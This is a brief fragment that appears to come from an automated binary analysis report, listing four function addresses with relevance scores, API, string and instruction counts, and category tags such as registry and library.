libraryCOMMON

Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004059AE Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON